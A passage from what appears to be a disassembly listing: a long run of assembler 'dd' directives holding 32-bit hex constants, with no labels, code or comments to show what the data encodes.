8F1440EAh, 0CB550015h, 0DECD27D6h, 2A0F986Bh dd 8095BA33h, 0DBEC318Ch, 0AED906C6h, 60DD341Ch, 60DCE528h dd 6A8E220h, 1815099Ah, 0A60058EBh, 40CE949Fh, 1433142Ch dd 70AFDF6Fh, 0A10484h, 58520B98h, 0DDB206A6h, 0E815765Ah dd 11A8020h, 5C313BA2h, 0DCEE9F0Ah, 0E122A136h, 2A2305D9h dd 33D860BFh, 0CEF0734Ch, 2703C242h, 234A1AA7h, 70A80F48h dd 94D41459h, 0DE96FB80h, 0A8C12D31h, 44ECA44Eh, 0C5BF3885h dd 0D1F42BD9h, 0A6C0EA04h, 141A5596h, 0B80F5D28h, 68B4D000h dd 0ACC4DF86h, 0EA5004B9h, 809D1523h, 0D6B1404h, 0D00A5903h dd 2189B522h, 27088828h, 8417909Ch, 94445F07h, 2C7044B6h dd 0A2427348h, 0B8502241h, 228E7922h, 1000FE3Fh, 0F08699E5h dd 510700E9h, 4A7AEB80h, 0CA00135Fh, 0A340ADC4h, 0FE3CBF0h dd 2A9579F3h, 0B13963A0h, 4900F6EAh, 0F1849075h, 19C26C1h dd 0C4EBA7Ah, 0F0687DF3h, 0BC07F66Bh, 0E9716045h, 74099D80h dd 7DA738FBh, 0FA949680h, 1D976BCCh, 102A9B01h, 5465A101h dd 128C6520h, 0ABF6AB51h, 4AC42E00h, 7324Ch, 48BC3781h dd 848DA75Ch, 0CF10F350h, 963B6F00h, 0B537115Dh, 0A4700C2h dd 7AAE80EDh, 770159CCh, 136F21D4h, 88056A5h, 417517A3h dd 0BC1CDE04h, 3F009FBBh, 0B37CFA1Bh, 509A60F4h, 71EAEDE0h dd 101C2C20h, 9CB6595h, 103D43h, 9FA755E1h, 332F00A9h dd 1923FA0Fh, 68006C71h, 0AE1599BAh, 0F5EA891h, 0BF8CF863h dd 9CCAFFE0h, 40035B22h dd 1475DC9h, 4C2AC021h, 0A9BE3DBAh, 4F49B780h, 16D95CFCh dd 5D6EFD00h, 5B7695CCh, 0CB9F00A1h, 85B1D29Bh, 500022B0h dd 7D01D883h, 2F8A5CDh, 0AC0FA8F3h, 93801CF2h, 0DDFD6CBBh dd 3B168300h, 51D657B3h, 0C99C026Bh, 5ABD7D04h, 0D5A49480h dd 0C1E2E292h, 0FDB2DB00h, 0ACC097EFh, 376F5C4Bh, 962C8D00h dd 1B82B40Ch, 26BB5900h, 8B1BCAFh, 0D29300F5h, 2F4A3B4Dh dd 6BE2D686h, 765B9602h, 0DD50CA2Ah, 0C0732C05h, 97FCC25Eh dd 855F8C00h, 2E3C701Ah, 20372AB5h, 902F18D4h, 9DBEE8B4h dd 0C056C300h, 0E998822Bh, 95F11F52h, 383B475Dh, 8DA5DEh dd 0A11674D0h, 3300AB3Dh, 0A9413A8Ch, 3775C85h, 7323EBB1h dd 1388F4BBh, 8D50FE4Eh, 5300BFCCh, 97C908E6h, 676DFB04h dd 0BF0D1890h, 0FFA2EB40h, 0F6E23A6Bh, 0E405C300h, 9CE73FEFh dd 77DC1DBAh, 19D0C30Fh, 81C45B2Dh, 0ECB7117Dh, 9D003E78h dd 9864865Ch, 0F01A635h, 60585923h, 7027BA07h, 0FED15603h dd 45CF8200h, 75118EECh, 0B6BD1EEDh, 0BE710030h, 0E27860A5h dd 0C8417431h, 6060CDD7h, 0D8FCCCh, 0DD6894ADh, 752A7A64h dd 4E439F00h, 66C3D319h, 0E5E6CEh, 5EECFBBCh, 0D9DA537Dh dd 0D7EAC703h, 0C80597A1h, 9D8910h, 54CCDFB2h, 0B1A2F167h dd 0DA253407h, 6407B04Ah, 32A64300h, 8944013Dh, 0FDE954C2h dd 0C0A85426h, 95350F98h, 83459700h, 0B88180F2h, 85A300E3h dd 0F9C03DEh, 2A00CB7Eh, 24F71BA6h, 2EB5B3h, 0E8D8B674h dd 9536ED6Ch, 0DFAFB800h, 0C2D7D2EEh, 7F7803C3h, 0D83370F6h dd 1C294FA8h, 0F96C7600h, 0B33A4D9Eh, 504C00C8h, 0CE750873h dd 9000F67Ah, 1C5E7840h, 0FFC5709h, 0BB38B356h, 9A0500DFh dd 0AD31CA7Eh, 0CAC3400h, 0B5D48458h, 19F30194h, 0C0511AF7h dd 4CC53E67h, 5B00F1A8h, 6893E48Ch, 0BB00F3FAh, 8DD2160Ah dd 137F8DBh, 649EF176h, 0F4CF5FD5h, 7A00CD42h, 9BA9727Fh dd 48651251h, 551EEDF0h, 0DE93417Bh, 0E23E9511h, 1672C4C0h dd 0F1E2BD0Ch, 0C91189h, 0A217EEF7h, 9551BFF9h, 6DD1C000h dd 8491619Dh, 0E2F415h, 338EE99Fh, 9A554AF1h, 8C4E341Eh dd 0F2370600h, 0FE319EB7h, 8413D7Eh, 5715AB89h, 1041200Eh dd 206CF3B2h, 0B404CD39h, 1B847D85h, 0F13C30C0h, 0F31803EBh dd 23EE05A2h, 0CE9B9998h, 0E15DFF00h, 8E2A8ABAh, 0F8C101B7h dd 6BAF3025h, 2C20209Fh, 0F188B807h, 57A0661Eh, 0A9B446h dd 0ADC78CCFh, 0A5218992h, 7658FA78h, 3BE0016Eh, 39F41D02h dd 7DD90430h, 0A7CB1CEEh, 0E94600F8h, 5406C95Ch, 2000ADE6h dd 14F0DCF4h, 3CB971h, 477B9E6Dh, 2767557Fh, 9F954F00h dd 89F5A0ECh, 99E8ADh, 47FC661Ah, 8E88C2EFh, 34C45600h dd 971416F0h, 1DD37B24h, 0C089F8F2h, 0D1515886h, 2300F733h dd 6440B442h, 192BD24h, 205BD8BCh, 3143EB4Bh, 0BEF1408Ah dd 6C00FBB6h, 1121BD2Fh, 98F4839Bh, 57F43Ah, 72D11636h dd 4E3D5EB3h, 0F980960h, 0C35DB6h, 0EFD46995h, 0E004828Bh dd 3FC19C01h, 0FF13545Ch, 0FBF98C40h, 4F3D004Ch, 1070A89Fh dd 0EF0089DDh, 0DBB33E50h, 2C9BACh, 6A201538h, 293AB560h dd 0F77B5700h, 0B1C5FF89h, 11E06040h, 12242809h, 953AD498h dd 236280A1h, 2E2A17ACh, 0F8316093h, 0A4864F8Ah, 3B151324h dd 3874ED00h, 30721CD7h, 0C61171D8h, 8F007E9Fh, 1059D4D9h dd 0DD1EB10Ch, 4FCA8340h, 4D808AF2h, 0D878415Eh, 0E7C73Dh dd 0C1964813h, 1F74623Eh, 43F61910h, 0DD5476Eh, 5F719888h dd 0BB378300h, 3EC9AB8Fh, 966000CDh, 0EDC2C8E7h, 6726C7FBh dd 20013D49h, 7A669C2Fh, 36E1E0h, 0CE6FB902h, 3551844Bh dd 8B440500h, 9050D96Ch, 29DB5C3Dh, 0FA24C900h, 0DCD87EA7h dd 11729900h, 8E69D188h, 895E4855h, 6296B800h, 16EA39A9h dd 48AF3Fh, 752853D2h, 797368h, 0FAC9A8FDh, 0CE04FF9Eh dd 5D1C7EF0h, 8453D1A1h, 0B4C0C600h, 0AE9A21h, 44996062h dd 0BFD04C23h, 7AAF8B00h, 163D831Fh, 9E4B029Ch, 0F9939D59h dd 2EE2E0C0h, 0ABF0C500h, 7CB48FF3h, 0AC690007h, 5363CB14h dd 65001A9Ch, 0E164D5C6h, 1ED6271h, 79ABAFC1h, 60B4F806h dd 0D275BE83h, 5E9E5A1Dh, 65CD4EC0h, 389954EDh, 0C58096BCh dd 69021EC9h, 0D3F28623h, 553FCF76h, 89B38024h, 5BA3E7EBh dd 79BA0083h, 48446659h, 0F075C6D8h, 17213600h, 398F43C2h dd 0D918056Eh, 0C03D9AAFh, 0F7A8E96Ch, 5082D200h, 0F46F7424h dd 764E03D0h, 63B114CCh, 51DD7E98h, 8AE9881Fh, 0CF4F4CC0h dd 0F2DC81h, 0CD96E8BEh, 99F0DFC4h, 5E9BAB07h, 388793D9h dd 60C2BB82h, 3FCC4E18h, 1C73CE8Dh, 80312DFDh, 8414B72Ah dd 0EA3924BBh, 0FD90042h, 0F9F2B973h, 0CCB075h, 0ED97A683h dd 3F37B6FDh, 72E90D00h, 4CCF5292h, 9AB1009Dh, 0F45B6693h dd 0FA67804Fh, 6AA091F8h, 26C8EAh, 0B4EE205h, 0F7B16179h dd 0FEBD7F00h, 84A45765h, 0E36900CDh, 0FA68292h, 0AD0E58E7h dd 0DC4B67h, 4F24578Ch, 0AE130081h, 2DB2599Ah, 0F600FC07h dd 1261D14Bh, 1C436CACh, 440B40h, 0A4D62B6Fh, 0EB7B9005h dd 68D39C00h, 7241A657h, 0E966385Dh, 263CA0CAh, 1C6007E0h dd 0BCC71529h, 6EDA030Bh, 0C880E0B3h, 0E39A5990h, 294C5101h dd 42DBBF3Fh, 341B4881h, 80B84FC0h, 68037859h, 1DC9C391h dd 0E4FCF4E2h, 0BF7C8054h, 0A44B222Dh, 0B6925005h, 2280E1B7h dd 0E6866D14h, 0A0D1E9Ah, 0D060C054h, 7A653C31h, 81FA9C00h dd 8A474661h, 58BA00C5h, 1F85DE18h, 0B2005C8Fh, 0B3499531h dd 9842D821h, 2AC900D5h, 6D1317BEh, 4500406Bh, 239DC1B5h dd 0E64B365h, 9459488Eh, 344AEC00h, 0B4042A3Fh, 9ED198FAh dd 0D61501C0h, 47C00077h, 67B7F368h, 0E097A4EFh, 6BEDF2h dd 4670E99Dh, 7E5D4319h, 0DD4C5C03h, 0E8BD9E3Fh, 1EECEA91h dd 80708A31h, 99E19AACh, 9C014E7Eh, 0E575222Fh, 74242BF2h dd 0FC1BE2CFh, 4413038Bh, 0E5B6F510h, 68F8F0EFh, 38C00D47h dd 2546B506h, 4D6201D6h, 3D1B80C6h, 553FD0A1h, 0D9B25400h dd 9FC5F1D7h, 0E59BA092h, 77397A4Ah, 3A8E3C1Eh, 53104781h dd 0DF6381B2h, 430BE0F8h, 0E6951D00h, 0EE6F3BD1h, 9374029Bh dd 0BB756198h, 7BE7AC80h, 0A8002077h, 0D8639C4Bh, 745A8A64h dd 2832EA54h, 0E7781Ch, 70E8AE94h, 560BBBC1h, 7F2A5A00h dd 0EEE9D68h, 0AA54005Bh, 4F6C32F4h, 0C3009E7Bh, 0D49E2AFh dd 3F75105h, 0E4B14EFBh, 46B8D25Eh, 0F0BDF35Fh, 4B600786h dd 0D0655159h, 1ADDB4CBh, 5466BA01h, 0C6ECAF0Eh, 0A52082EDh dd 49D60A16h, 841442h, 0F4FCE6FFh, 0D40F7FA3h, 1F53FCEh dd 0AC11F9ADh, 0EA3CD0h, 9EAF17A2h, 83218CB1h, 80B8633Fh dd 501E2975h, 0E8E1E93Fh, 1DF10037h, 0D00269A8h, 7FF808BEh dd 0C7EA770Ah, 0A500D026h, 0BCA4D2DEh, 767D8069h, 80734F3Fh dd 661DF7D7h, 3E9EA8B8h, 0EA001527h, 0C6F254E2h, 387B0677h dd 0BC4A903Fh, 5EDE13CCh, 3DF62800h, 390E1Ch, 0B6A07A3h dd 3C240AF1h, 49A3400h, 0BF118CD8h, 0D42C5044h, 737B0FA4h dd 0C300595Fh, 52ED6160h, 0D50036E8h, 5D648120h, 3EE5B7E4h dd 4C161B99h, 0E48F1D7Fh, 7C120ED0h, 8FB7B300h, 0F7005C5Eh dd 9FB561E6h, 1340100Ch, 85644Fh, 4A76A59Ch, 7B00AE9Dh dd 448DE20h, 21FAD9Ah, 34436437h, 0C080182Bh, 0EC560F9Eh dd 0EE25Ch, 850A49D1h dd 0CF8B2Ah, 0AAB814F7h, 51945A1h, 187C1E01h, 0C0323C02h dd 2E29D0DBh, 0C5EC0338h, 0F52139CAh, 9F6E76D0h, 0AFDA581Eh dd 0B3EECBh, 0EDBBA794h, 6F0200DFh, 8FFF263Dh, 0FA0B4608h dd 80628256h, 921C336Ah, 0DB400F58h, 5234A0h, 0AB43D00Ch dd 0D548B350h, 5E820779h, 0C190D264h, 14A76873h, 0C85B630Bh dd 5992C500h, 9EDEBB72h, 8014C00h, 4A68E725h, 31BF003Bh dd 0F171DF6Dh, 0A200958Bh, 4D401753h, 87D54Ch, 31ACC73Dh dd 0CA770E4Eh, 0E9FFB103h, 0E0ADB098h, 0C075Bh, 0CFE76B1Bh dd 52B1E34Eh, 0CDD9FB12h, 92C0101Eh, 0B9FFD1DDh, 7F0985Bh dd 0B1AFA359h, 40008998h, 771BAB53h, 0FB0D3E07h, 8F20D4B6h dd 14FF61h, 84C8BA3Fh, 3E954C6Ch, 984264Ch, 0C42D21h, 0AE7C9914h dd 5EE9C76Dh, 0B6E69026h, 5900BE36h, 0FE3FF9BDh, 7F4F16h dd 656188B0h, 910F8042h, 46303700h, 6BC9CCDAh, 285133C5h dd 9FA11110h, 80802120h, 354CF010h, 4D256BAh, 856FA07Ch dd 4528819Ah, 57DFC0D1h, 0CA7A6100h, 8D4CC2FCh, 6EC53CE4h dd 97A56900h, 9889490Dh, 900CE7Bh, 7A482F42h, 5A54EEh dd 4156C457h, 0F60B0A83h, 90C51D17h, 0BC757000h, 8F61D9h dd 365B9FEAh, 6E7FAD9Eh, 1876EB0Ah, 6A01F48Ah, 5C9F756Dh dd 0ED81B900h, 2FEF1B00h, 9A43162h, 0ABFB0039h, 15B01FA3h dd 640003D2h, 0F0127FCh, 1DA77Fh, 0F3229851h, 4CA3A4AAh dd 211B9B2Eh, 0D5CBC407h, 9804F47Ah, 0AA221286h, 259C0340h dd 0F3DD90A0h, 92849000h, 6411A9A3h, 72961FEDh, 6F80FBC3h dd 3557A65Ah, 0BB00BF86h, 1DD48089h, 9E9BC0h, 7383B4A3h dd 12C510FBh, 20553603h, 0C6F31C8Fh, 414E00D8h, 61B271EAh dd 62729369h, 503D9C00h, 0BE11363h, 0D490BEh, 60F93BEDh dd 788336D7h, 3A383500h, 0C88D14ADh, 0DFBA0074h, 0FDBC16A6h dd 5200C1D7h, 0EB09E12h, 0DC304Bh, 0F20B8022h, 58DB4FD3h dd 0E7275100h, 60AA3408h, 0CD690182h, 78F011B5h, 0A09130F6h dd 0B050B21Dh, 0AA871AC0h, 5EB61F9h, 9CC93CF1h, 0B900FE10h dd 7E3B32D0h, 77917E7Ch, 0C49050h, 25856A09h, 0E665C203h dd 5C8CF317h, 7CA69F00h, 1F773BEh, 7687EAEh, 80765B8Dh dd 42CB1B10h, 0E7B691h, 0FB01B556h, 0E61575A6h, 0E4985Ch dd 99897F59h, 3F148023h, 0F40034F5h, 7B2209Dh, 0D600F837h dd 6092AFA0h, 91D335h, 4C7ADB7Eh, 44E345ACh, 98864F1Eh dd 83829CC0h, 48A3E5B3h, 6D003008h, 0D63952E9h, 0D82E0DADh dd 3C28E737h, 3802F30Eh, 1AF78272h, 0E09CEB0Bh, 0ED9E12Dh dd 11B2554Ch, 12E438B8h, 0D820A561h, 0C3F4B065h, 3D1400FAh dd 0CFEA84DBh, 7F4899FBh, 60E0C06h, 0A8B2609Ch, 0FCBD673Ch dd 0F0AF60C5h, 342071Eh, 299015E8h, 89F1A28h, 10B3F300h dd 2A0DAC27h, 0DCBB0CD8h, 9D385BDBh, 500FDE75h, 0E7FEAA58h dd 1340CA44h, 281BBF45h, 5030D985h, 0FF1689Fh, 93D5396Ah dd 9927CA6Fh, 7EDC108Dh, 0EB00B57Fh, 60C75732h, 0BD855Fh dd 6CC5BA11h, 2F1F4ED9h, 2B8CB302h, 4870B64Bh, 44B5D8h dd 0CE169A6Fh, 82CF97E7h, 0F0B3130Dh, 5AF4204Bh, 0B15E60E0h dd 95FA1A43h, 861BB61Ch, 80003696h, 0A433031Dh, 68B9309Ch dd 0ACA7959h, 5E344700h, 965A34Eh, 6E0E002Bh, 8827E748h dd 0C2004311h, 3093CB54h, 1F269159h, 7A7D5Bh, 0E4E31B04h dd 3039B45h, 9321AA16h, 1528003Fh, 0CBE7135Dh, 172808Bh dd 0C789624h, 21433300h, 3DD732h, 0DF65C6D4h, 14665E88h dd 0E9DCC1C0h, 46755Ch, 3D520C3Ch, 0A81361CBh, 4ADAF02Eh dd 0C01ABD0Fh, 0D496B931h, 0B5E73AFBh, 0F0AA200h, 8C1A155h dd 3207AEE2h, 31F6AF92h, 0C8A35440h, 0A68A00CBh, 0FAA5F2EAh dd 88001D2Ah, 6AC331A2h, 3C65CA07h, 0B183794Dh, 0BF1C21E8h dd 0CD554ED0h, 62E44B1Eh, 8CC42080h, 0E82F7A3h, 0E2564238h dd 0CEF2F800h, 0D0F96019h, 20C0A513h, 0C1559CBFh, 689400B8h dd 0AFEE1009h, 0E7010C52h, 167EE490h, 8AF0055Ah, 3314F895h dd 0A018DC67h, 1D91E1h, 0EFDB0D24h, 7CD15F03h, 88F17098h dd 68D8E037h, 0B9218381h, 18234280h, 6BD30E8Ch, 21C0DCE8h dd 2FB92965h, 37DF00FBh, 6F125B02h, 105CD97Fh, 50210630h dd 1BD998E4h, 384F0B87h, 64E125C0h, 0E527BE00h, 54F9B17Eh dd 50F32A10h, 1254688h, 0FF2F559Fh, 1D0CF4B0h, 3EA9DA88h dd 0A4800A56h, 8C9ACA62h, 0AF00CC95h, 0F77F7189h, 0DE6596C6h dd 0E3BFC998h, 0CA0C2800h, 0D3B8C5B9h, 985D5000h, 6EEE0B6Fh dd 9D5F3E88h, 0AE1503F7h, 0F97D8B29h, 936BE2C8h, 9203D374h dd 65DBCBDFh, 0A42E8802h, 25E933D7h, 21006808h, 162312Ch dd 7F9EC23Bh, 1041013Fh, 83A11FBAh, 90E6C0B4h, 0E269F400h dd 5C6CDB04h, 246A0078h, 6BDF93F5h, 9800C782h, 37BC0A94h dd 0C6C46380h, 207A9A08h, 98012300h, 6953ACE8h, 51DE0085h dd 91E2A177h, 89C06BF9h, 0D2D966EEh, 0D8880067h, 7F102CA6h dd 771812F9h, 5B18DADDh, 0E96318DBh, 32E288A2h, 0BE0014E0h dd 0E6607F13h, 0E85E16FBh, 0E521C72Ch, 0F0A0E767h, 0B0CB277Dh dd 6622590Ch, 0AE2988Eh, 8C04A693h, 46D9419Ch, 0E035216Ch dd 0DD00A1EEh, 2F3A7147h, 7906A1Ch, 1831F239h, 0DA138015h dd 4C0001AEh, 0F13F9AF3h, 71A796Ch, 0E72B9EACh, 0B2D3602Ah dd 52790A67h, 0FFC9550Fh, 0EB1EA0D9h, 0E8741102h, 6CCC0037h dd 0DCCE7A72h, 290C9A77h, 0D8988799h, 198F00A7h, 586AD9E9h dd 3403F317h, 0CD99B9BFh, 72B38827h, 0ADCE5D7h, 0B8400387h dd 2270F606h, 4393609Fh, 6001E25Fh, 5CDE6910h, 0AB40D024h dd 6C614Eh, 8A358085h, 0EB0E56C2h, 0AE041600h, 7766E15h dd 36261E64h, 63C603BBh, 9380F6F8h, 0C53F51CBh, 0B78A809Ch dd 0C755AB90h, 69FA0082h, 0C2BC7262h, 0AF00E78Eh, 59605DCFh dd 0EA067F9h, 81647FA4h, 4AF6B940h, 0DC1FE50Eh, 0D5007DA6h dd 54491165h, 0E998E4h, 0B696BBFCh, 4691B88Ah, 0A8D6DF00h dd 7B3CD299h, 9DE300B5h, 90DC1863h, 6D0E557Ch, 0BDB3E0h dd 4E15BEFFh, 76FA0065h, 0AC57D2BFh, 774718Fh, 73DC9000h dd 7CA89555h, 8EED3A4Fh, 3FC18200h, 0D1ABE49h, 4EB00900h dd 91FFA60Ah, 0BF0B01FBh, 6FA81FD8h, 0B33DDCE4h, 0C325EA24h dd 0B700B020h, 5427D4ACh, 3D360D0h, 0D25BB867h, 24AAF45Ch dd 88BBD4C1h, 9CD5BC28h, 8010A27Ch, 0DB21F165h, 90C6E208h dd 60308498h, 7B418748h, 94019969h, 632311BDh, 0C111D312h dd 0D144B008h, 0FF3CA09Ch, 0D9BC414Dh, 4C29946Ah, 66371864h dd 0C4FE4B29h, 444F0151h, 7C44CEE8h, 14F74ACFh, 98508E08h dd 0D51C79A4h, 42716100h, 0BB9D587Ch, 11E80047h, 533F2730h dd 0E3F4F487h, 0D64FE91Fh, 0C31DC84Eh, 884462FCh, 0A722ACh dd 0FE567436h, 0EA26836Eh, 64B8511Fh, 0B2E51E80h, 59AD29h dd 0C7EFAE93h, 1D2F05E3h, 0C54B9100h, 896A1732h, 0C2CC00E7h dd 0B6645808h, 0DA00EDAEh, 470D3D19h, 0E0343743h, 3F7C007Bh dd 50759D51h, 9600A621h, 3E5F5D7h, 0F595288h, 0BA120741h dd 0E0765EA7h, 0AB027899h, 1BC8E100h, 0D3BEB44Eh, 9EFE676Ah dd 4328C0AEh, 711C3151h, 96E125Dh, 68852000h, 0DDBD79h dd 2A36E641h, 7F88D5CFh, 94E7CA00h, 3DD4D971h, 3820F159h dd 8678000Fh, 839173C2h, 0C900CCA1h, 0F1B855A0h, 0CD5293h dd 0EE7A6497h dd 0E88D8730h, 0D5071D71h, 475DC24Fh, 0CA75B40h, 0B14800C0h dd 467827DAh, 67007903h, 0DB4354A5h, 1D0D053Ch, 0F8CBCCh dd 91CF56B9h, 0D400AB6Bh, 1C53A549h, 138C30h, 965716EFh dd 799E43C1h, 0CACCF500h, 3C96F7Dh, 0EDD9083h, 11AE78CBh dd 1D98A920h, 0F8079DF2h, 0A44ECC5Ch, 8BF0DB20h, 49B80003h dd 854894E0h, 4004792h, 0D45DE981h, 6DB49Ch, 0A498F33Ah dd 0DFE66E71h, 0DC268700h, 0AB753918h, 58600E1Bh, 0AD004F11h dd 85C471F8h, 5EB8CB00h, 3F4B9C45h, 0E6BE0086h, 79B06534h dd 2100E738h, 0AF81A77h, 0E83F0104h, 504590D7h, 6CBFD6h dd 6EE65DABh, 6FC0386Bh, 1E1FE9E2h, 940AEADh, 0E0B5F7AAh dd 2B9D0704h, 0A142742Dh, 315A6248h, 0F90260DFh, 0B3525500h dd 0DC9AE2E0h, 0A87E0981h, 865D0403h, 0A2B5D6h, 0BE4DF115h dd 8CAD9DC8h, 3F66C900h, 8F0F4002h, 0AC840090h, 0E72DC7D1h dd 20003BC6h, 483C27C2h, 0E620F7Bh, 1312A68Ch, 0AD795780h dd 5100690Ah, 0D0D8C4D6h, 7AB23B11h, 0CA9200C6h, 0D545B41h dd 0B3000E60h, 0B6D29B3Eh, 1263D378h, 110FA7h, 34B4C130h dd 5E00B7E4h, 41E6C7F5h, 90CBFB88h, 0AD9C0238h, 0CCF9E760h dd 0F27B3A00h, 72FB000Fh, 944D37DAh, 81FB1E3Bh, 0AA6F8D6h dd 0C1E81514h, 12602CFh, 0C7EE4E6Ch, 6B933040h, 0C597000h dd 0A22CDBBEh, 0FB770050h, 0E69DAEECh, 93A05805h, 0C5711378h dd 547BBD03h, 90CE682Eh, 799764D5h, 0B5E007D7h, 8A510Bh dd 0A9A306A1h, 0A5804F00h, 6704A0FCh, 58F274B0h, 7600EDA7h dd 6BC3490Fh, 0C507863Bh, 98573E11h, 0E5FBC01Eh, 849A41h dd 0A6460852h, 265BFEC3h, 80E2550Ah, 14000CF0h, 18734413h dd 2DD0000Eh, 389D0C2Ch, 0BA0F059Fh, 0AF83FEAAh, 9CB9E0B0h dd 4F4E23Fh, 1ED816C1h, 8FDCC33Bh, 7AE8D9FBh, 4FF47708h dd 557DD4F4h, 6A9A4A00h, 0C3BFF57Eh, 599F0029h, 80D697B6h dd 0A61E95F3h, 6440076Ch, 0C4E79C2Ch, 0D79E00EBh, 0AA9853A8h dd 0DC91199Bh, 0EA015E26h, 6CBFC133h, 0B5F0C821h, 27755Dh dd 7C51B6FAh, 0D4E50F2Ch, 0A15AF00h, 0C4243C4h, 0A8B500B1h dd 0FB9A1A4Fh, 0A000CE19h, 0F479CD57h, 0F69818h, 1DC12FDEh dd 9AB6B0DCh, 0AE9DAB00h, 0B72B04F8h, 97B900FEh, 0BB83F7CBh dd 0B60056FAh, 1FE101C3h, 2B4920h, 7C6BD260h, 614D09D3h dd 0D0B3800h, 209E2D7Ah, 4F870077h, 2EFA01B0h, 4A00077Fh dd 333094D6h, 0EB2896h, 8662DA20h, 5521F1A8h, 0C40761B8h dd 0CE349A9Dh, 6C1667CEh, 38238A40h, 5CA000Dh, 6FE12892h dd 0F71D8551h, 3EC2B744h, 0D5D33F35h, 946AC587h, 0E2068241h dd 0EA69A7E0h, 808B7500h, 0EFA9DA68h, 0C898A0h, 9C95015Fh dd 0D7BA3724h, 0ABE9E000h, 0DAAD9334h, 521F00AAh, 0E1F7961Ch dd 3F006456h, 0A538F83Ch, 0E8F388h, 429F60B6h, 1AC4B73Eh dd 0B48D560Fh, 95BE630Eh, 0E1D7F091h, 770604A5h, 0C0DAEE14h dd 3303AE70h, 0B229D200h, 0C1B94524h, 0FF6E0039h, 0BB552B7Ch dd 0AA2C7DEEh, 111EE156h, 1FEA2E40h, 9B514Eh, 8ECFDEB1h dd 2FA2BE90h, 0FE64A309h, 1D0C003Fh, 0ABED41h, 772BD73h dd 31E23AFFh, 1988F800h, 96ACF9D0h, 8C0200C8h, 95F19CB3h dd 0A51C99DFh, 80C4E683h, 0D88390C5h, 597EC0E5h, 196F0087h dd 0F7B72E94h, 5C3EA173h, 531600B0h, 0B2BFCA91h, 0F220730Eh dd 0F9D728DAh, 0A1B900ACh, 3E35EA28h, 6102861Ch, 14C7B066h dd 4BD08E63h, 430782D3h, 563740ABh, 50F4B883h, 742EC8C4h dd 0D31826A2h, 585B0050h, 5E1C17ABh, 1FCB5400h, 0CA2383EBh dd 90F90378h, 6FC9EF70h, 605712C1h, 8A0368B4h, 0F427A569h dd 8C8E63h, 8F51762Bh, 7A7BABB1h, 194A482Eh, 9AD87F00h dd 0CC0FCEh, 0B062DDF4h, 0F3D97817h, 0D01048h, 2ED5AEB3h dd 0C8528Ah, 468F971Ah, 0D798E867h, 0A601850Fh, 6EF2063h dd 0F61569D5h, 0A0D200A5h, 0AE92A2E4h, 8007D87h, 1B8E4B74h dd 8DAD20h, 0AAD0E2B5h, 0DBD79577h, 86073800h, 0EC6C6667h dd 0CD740002h, 7E47C98Ah, 0F3078754h, 11B7DD25h, 55597FF0h dd 139A145Dh, 543DFC10h, 0D3047A00h, 20A6B7B5h, 0C2C5DD00h dd 990CB9D8h, 0ED69FA6Eh, 0A2FDF20h, 2979767Bh, 0D23B00F4h dd 95753C34h, 0ED32CB0Bh, 9F908021h, 1A594Fh, 630E62C1h dd 0F1A2D4C7h, 8A439200h, 0E6CB5117h, 72A80489h, 0C0B71A9Fh dd 0DFF0552Ch, 0B941C400h, 216EDC23h, 983200CEh, 82BC92A5h dd 390F7767h, 0A0C4D8FDh, 2803664h, 0AC9000C9h, 4E389C10h dd 749AB82Ah, 0D22ED100h, 0ECF6056Eh, 20800BCh, 8FD9B74Dh dd 0C01DD455h, 0D3C02B9Ah, 918014FCh, 0C779F022h, 1BD69E10h dd 0DF08357h, 0BBB4F807h, 4D70B3h, 0C9873C5h, 4490AAFh dd 21C73700h, 0E0885F69h, 58FDBA08h, 54036A10h, 0EBE736A8h dd 37C7C4A8h, 1421500Eh, 0B3870045h, 0B5B9A7h, 20107B93h dd 1D09BFCh, 2A0034F6h, 82DD13C3h, 1F416A15h, 80068558h dd 7D6F7237h, 0C7013211h, 9A2F471Ah, 9DC42240h, 8B5A023Fh dd 185DD9C2h, 0BA1F2040h, 51588D01h, 0E0E24A7Eh, 127A2420h dd 0D3438Ah, 8D38D56Ah, 0F1007E68h, 5126B8D0h, 0F64290Fh dd 0D50E24B9h, 5497E600h, 1A18FA55h, 0C4DE4778h, 0B7FE0081h dd 9FE020F3h, 3509ED21h, 0FBA7990h, 588872E4h, 1AA90E4Ah dd 0DDA57AA0h, 184FF833h, 1BB4F124h, 14CB816h, 3BC045Dh dd 0E00CF8A3h, 4F004574h, 0E2BB3605h, 74E3A01Dh, 964B009Dh dd 8F37315Fh, 43004C3Fh, 5DFAEFE4h, 98C705h, 349B0DE8h dd 0B310AB7Ch, 0A8082007h, 457054FFh, 0DE76A1h, 9FD02651h dd 5D80BC55h, 50F51224h, 63AA5A09h, 84789B38h, 59077980h dd 3F68009Ch, 7C121641h, 9E008CF2h, 0C9243E51h, 0F46C6A95h dd 0A9A538D6h, 0FE720B81h, 20B3E53Ah, 8909116h, 3E0549E4h dd 276C1D31h, 5D250180h, 50C700A3h, 0CC4621C2h, 2600AA55h dd 76A59AA4h, 1C3E506h, 0DA775AA7h, 70FB080Ah, 0D300389Ch dd 0DC1455F9h, 0EEDBC1h, 96567841h, 2EBC8CCBh, 0CA334E12h dd 0FCFA4842h, 10CC43Ah, 0AEE9E509h, 0DC4C0C5Fh, 0B004A0Fh dd 0EB320118h, 6E319ABh, 5D6F9503h, 215CB8DBh, 0DACF05FFh dd 0A000D236h, 15C0BB87h, 5AC380A7h, 0F4739810h, 80633A1Fh dd 16429679h, 8B000F5Bh, 857C87A7h, 0F4615Fh, 0AC13ABB4h dd 28CF03Eh, 4AA6A900h, 777D14Dh, 1D2AE289h, 0DD745ED2h dd 8E784895h, 0DE288C00h, 1E9A1C70h, 0CE3435DDh, 2B00F5F8h dd 9657174Ch, 49DE8E05h, 8840ABF0h, 0D7BDD56Bh, 0FC725C90h dd 0B9473F1Fh, 955D6602h, 0B2E08631h, 5EE82833h, 0D0D45Ch dd 9EE2CA54h, 3EF3FB9Bh, 9780E866h, 0A893B910h, 180A3922h dd 0ACFC1E84h, 14666980h, 3F58938h, 4DD29704h, 18027B0Bh dd 333B829Eh, 1308A035h, 492343h, 0F9AE935Dh, 3F1CF884h dd 143E4Dh, 36114C2Ch, 17450231h, 12DDCC76h, 371400A8h dd 5768CBB4h, 0B1002DF6h, 0EE9F1E10h, 654DE3h, 42AAE126h dd 91831390h, 7E140213h, 573B61B8h, 6048A180h, 3D8DFACCh dd 112F8B00h, 0D64381EEh, 915400AFh, 5C8665F5h, 0D212C469h dd 5B00FDF4h, 0EA781F29h, 0A50E488Eh, 0E7AD4000h, 0F14B68Bh dd 0DF556102h, 40477146h, 3063D08h, 0ADFEEC2Dh, 30916B45h dd 5107E4D0h, 0C7E5D800h, 